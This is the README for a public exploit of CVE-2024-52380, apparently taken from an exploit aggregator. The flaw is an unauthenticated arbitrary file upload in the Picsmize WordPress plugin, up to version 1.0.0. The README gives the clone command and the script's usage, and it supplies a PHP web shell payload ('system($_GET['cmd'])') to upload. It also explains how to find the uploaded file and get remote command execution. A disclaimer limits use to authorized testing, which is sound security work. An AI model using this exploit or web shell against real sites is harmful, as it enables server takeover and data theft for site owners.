Share
## https://sploitus.com/exploit?id=BC0B2D70-77FC-53C1-AB29-24379176AD8E
# CVE-2024-52380-Exploit
Picsmize plugin for WordPress is vulnerable to arbitrary file uploads.
# Description
This script exploits a vulnerability (CVE-2024-52380) in the **Picsmize plugin** for WordPress, allowing unauthenticated attackers to perform arbitrary file uploads. This vulnerability exists in all versions of Picsmize up to and including **1.0.0**. Exploiting this vulnerability may result in remote code execution on the target server.

## ๐ŸŒŸ Features
- **Check Plugin Version**: Automatically verifies if the target WordPress site is using a vulnerable version of the Picsmize plugin.
- **File Upload Exploit**: Upload arbitrary PHP payloads to the target server if the site is vulnerable.
- **Command Line Interface**: Easy-to-use CLI for specifying target URLs and payloads.

## ๐Ÿ“– Vulnerability Details
- **Plugin Name**: Picsmize
- **Affected Versions**: All versions โ‰ค 1.0.0
- **Vulnerability Type**: Unauthenticated Arbitrary File Upload
- **CVE ID**: CVE-2024-52380

## ๐Ÿš€ Usage Instructions

### Prerequisites
- Python 3.7 or higher
- `requests` library (`pip install requests`)

### Running the Script

1. Clone the repository:
   ```bash
   git clone https://github.com/Nxploited/CVE-2024-52380-Exploit.git
   cd CVE-2024-52380-Exploit


### Usage -help:
```
usage: CVE-2024-52380.py [-h] -u URL [-c CONTENT]

Check plugin version and upload a PHP file to a WordPress site.

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Base URL of the WordPress site (e.g., http://192.168.100.74:888).
  -c CONTENT, --content CONTENT
                        Content of the PHP file to be uploaded.
```
### Example
```
python CVE-2024-52380.py -u http://192.168.1.100 -c "<?php system($_GET['cmd']); ?>"
```
### Command-Line Arguments

The script provides two command-line arguments for ease of use:

1. **`-u` / `--url` (required)**:
   - **Purpose**: Specifies the base URL of the target WordPress site.
   - **Example**:
     ```bash
     -u http://example.com
     ```

2. **`-c` / `--content` (optional)**:
   - **Purpose**: Sets the PHP payload content to be uploaded.
   - **Default Value**: 
     ```php
     <?php phpinfo(); ?>
     ```
   - **Example**:
     ```bash
     -c "<?php system($_GET['cmd']); ?>"
     ```
### ๐Ÿ“‚ File Upload Path
#### Explanation:
- **`/wordpress`**: Root directory of the WordPress site.
- **`wp-content/uploads`**: Default directory for media uploads in WordPress.
- **`2025/01`**: The directory structure corresponds to the year (2025) and month (January) based on the server's date configuration.

#### How to Access the Uploaded File:
1. After a successful upload, navigate to the file using the full URL.
   Example:

http://target-site.com/wordpress/wp-content/uploads/2025/01/t-678b2ef61b3f41737174774.php
        
### โš ๏ธ Disclaimer
This script is intended for educational purposes and authorized security testing only. Unauthorized use of this tool against systems you do not own or have explicit permission to test is illegal and unethical.